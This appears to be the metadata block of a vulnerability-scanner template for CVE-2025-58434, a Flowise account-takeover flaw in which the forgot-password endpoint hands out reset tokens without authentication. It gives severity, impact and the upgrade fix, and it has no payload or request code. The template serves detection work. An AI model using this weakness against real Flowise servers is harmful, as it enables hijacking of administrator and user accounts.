Flowise <= 3.0.5 - Account Takeover

id: CVE-2025-58434

info:
  name: Flowise <= 3.0.5 - Account Takeover
  author: nukunga[seunghyeonJeon]
  severity: critical
  description: |
    Flowise versions 3.0.5 and earlier had a vulnerability in the forgot-password endpoint, which returned valid reset tokens without authentication—allowing attackers to reset passwords and take over accounts.
  impact: |
    Unauthenticated attackers can obtain valid password reset tokens without authentication, enabling account takeover of any user including administrators through password reset attacks.
  remediation: |
    Upgrade Flowise to version 3.0.6 or later that properly protects password reset token generation.
